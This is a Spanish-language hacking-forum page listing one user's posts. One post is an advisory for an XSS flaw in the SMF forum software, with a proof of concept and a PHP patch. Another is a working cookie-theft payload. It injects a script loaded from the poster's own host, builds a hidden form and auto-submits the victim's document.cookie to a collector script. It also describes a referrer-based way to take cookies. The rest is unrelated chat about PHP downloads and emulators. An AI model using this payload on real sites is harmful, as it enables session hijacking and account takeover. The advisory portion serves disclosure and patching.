Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3521
Detalles


 
 
 
 
 
 
Descripción:XSS en el input "Sitio WEB" dentro del perfil de usuario
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Profile-Modify.php:802
URL Vulnerable:N/A
PoC:‭‬‭‬ ‭‬‭‬‭‬javascript:alert(document.cookie);//http://xx
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

La vulnerabilidad se localiza en el archivo Sources/Profile-Modify.php
Linea 802
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Profile-Modify.php#802
Código (php) [Seleccionar]
if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;


Ya que permite la inyección de código arbitrario debido a que verifica
únicamente que contenga los carácteres "://" pero no indicaron en que
posición del string debería estar por lo cual puedes escribir "://" al
final del código inyectado encapsulandolo en un comentario tal como el
siguiente ejemplo.

PoC:
En el perfil de tu usuario pon lo siguiente en el input de "Website URL"
‭‬‭‬‭‬‭‬‭‬javascript:alert(document.cookie);//http://xx



Solución

Código original de SMF 1.1.10 en Sources/Profile.php linea 602
Código (php) [Seleccionar]
// Fix the URL...
if (isset($_POST['websiteUrl']))
{
if (strlen(trim($_POST['websiteUrl'])) > 0 && strpos($_POST['websiteUrl'], '://') === false)
$_POST['websiteUrl'] = 'http://' . $_POST['websiteUrl'];
if (strlen($_POST['websiteUrl']) < 8)
$_POST['websiteUrl'] = '';
}


reemplazar por
Código (php) [Seleccionar]

if($_POST['websiteUrl']){
$permitidos = array('http', 'https', 'ftp', 'ftps');
$protocolo = @explode('://', $_POST['websiteUrl']);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
  if(strtolower($protocolo) == strtolower($permitido)){
   $valido = true;
   break;
  }
}
/* La url comienza con un protocolo no válido */
if(!$valido)
  $_POST['websiteUrl'] = 'http://'.$_POST['websiteUrl'];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */

/* Elimina urls no válidas */
if(strlen($_POST['websiteUrl']) < 8)
  unset($_POST['websiteUrl']);
}


Código original de SMF 2.0 RC2 en Sources/Profile-Modify.php linea 753
Código (php) [Seleccionar]
// Fix the URL...
'input_validate' => create_function('&$value', '

if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;
if (strlen($value) < 8)
$value = \'\';
return true;
'),


Reemplazar por
Código (php) [Seleccionar]
// Parche - Fix the URL...
'input_validate' => create_function('&$value', '
if($_POST["websiteUrl"]){
$permitidos = array("http", "https", "ftp", "ftps");
$protocolo = @explode("://", $_POST["websiteUrl"]);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
 if(strtolower($protocolo) == strtolower($permitido)){
  $valido = true;
  break;
 }
}

/* La url comienza con un protocolo no válido */
if(!$valido)
 $_POST["websiteUrl"] = "http://".$_POST["websiteUrl"];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */

/* Elimina urls no válidas */
if(strlen($_POST["websiteUrl"]) < 8)
 unset($_POST["websiteUrl"]);
}
'),
#3522
ese ultimo era el ejemplo xD
#3523
CitarSe puede seguir probando cosas en este post?

Mira, puedes utilizar xampp xD
http://www.apachefriends.org/en/xampp-windows.html

El concurso ya terminó.
#3524
Hla puedes hacer un archivo .htaccess y un .htpasswd para crear un nombre de usuario y contraseña pero lo malo es que si quieres cambiar el usuario tendrás que cambiar el archivo y no es muy productivo :-/

Lo otro que puedes hacer es obtener el archivo desde un php, o sea test.php?archivo=test.rar y entonces el php dirá fopen() a test.rar (cuidado con los retrocesos de directorio ../ ) y le vas haciendo echo al contenido que te vaya devolviendo el fread y recuerda no abrirlo completamente de una sola ves, o sea... cuando haces fread() le indicas el manipulador (handle) y la cantidad de carácteres que desea obtener del archivo, por lo general muchos utilizan filesize por lo tanto obtiene todo el archivo de una sola ves, si el archivo es muy grande entonces php no podrá cargar todo en memoria y dará error, por o tanto te recomiendo que le hagas un while de a 1024 carácteres y vas lanzando echo inmediatamente, luego cuando termine el while le haces fclose y exit; para que el resto de la web no intervenga en el contenido del archivo y de cabezera le pones que el tipo de archivo es ocet-stream para forzar al explorador su descarga.

Saludos.
#3525
Porque no usas winsock y le mandas las cabezeras manualmente?

GET /archivo HTTP/1.1
Connection: close
Host: dominio.com


Con dos saltos de linea al final y obtienes el contenido desde un evento de winsock y lo filtras por una variable temporal y lo guardas en un archivo.

El servidor te devolverá un status 200 cuando el archivo solicitado existe y te enviará una cabezera antes del archivo... solamente separas el primer salto de linea vacio y todo el resto corresponderá al archivo que necesitas.
#3526
Si quieres ahorrar código puedes inyectar esto en formato HTML:
<script src="http://miweb.com/xss.js"></script>

Entonces trabajas sobre archivo de ‭‬‭‬javascript y vas reuniendo variables y vas creando inputs y te envías la petición:

xss.js

try{
 payload =  '<form name="xss_form" id="xss_form" action="http://miweb.com/xss.php" method="post">';
 payload += '<input type="hidden" name="cookie" value="' + escape(document.cookie) + '" />';
 payload += '</form>';
 document.write(payload);
 document.xss_form.submit();
}catch(e){}


Ahora puedes unir todo en un solo archivo php donde si llega una petición post entonces procesa los datos y lo guarda y redirecciona a google y si no llega ninguna peticion post entonces que se muestre el contenido del ‭‬‭‬javascript, así puedes lanzar el xss con la url hacia tu php:
<script src="http://miweb.com/xss.php"></script>

Ahora otra forma sería hacer un document.location hacia '#' + document.cookie y despues haces una segunda redirección hacia tu script y obtienes la cookie desde la referencia :P

Saludos.
#3527
Ya lo pude hacer funcionar con esta actualización del directx
http://rs630.rapidshare.com/files/218959649/dx-mar09.zip

pesa casi 100 mb xD

Me corre pero como todos los emuladores grandes muy lentos, imposibles de jugar :(
Yo tengo esto en mi lap:







Pero a pesar de tener 1g de video y y 2g de ram no puedo hacer que corra desentemente y no estoy lagueado por otros programas ni nada, yo juego el assasian cred super bién con alta calidad de detalle.
#3528
Yo lo bajé y lo probé con dolphin 4620 para un pocesador de 32 pero trae un defecto que impide que se pueda usar en windows 7 y es la librería del comando, solo funciona si usas directx 8 o 9 pero windows 7 viene con el 11 y no te deja jugar.

Si alguien tiene dolphin y quiere bajar el juego para usarlo en windows vista o 7 no pierda su tiempo xD
Mejor me buscaré otro emulador.
#3529
Bueno veo que ya te citaste y no te vo por eso repetí lo mismo jajaja.

Ahora, de que se trata ese ))))))) ? no se los voy a explicar porque forma parte del reclutamiento de simpleaudit xDDDDDD pero a penas se haga la publicación de los bugs voy a hacer un esfuerzo mental para tratar de explicarlo xD

PD: si alguien quiere insertar textos con bbcode sin que se interpreten basta con tan solo encerrarlo con [nobbc][/nobbc]

Por ejemplo:
[quote]test[/quote]

El post que dices es este:
http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html;msg1341433#msg1341433
#3530
Ahi va la oreja de YST  :xD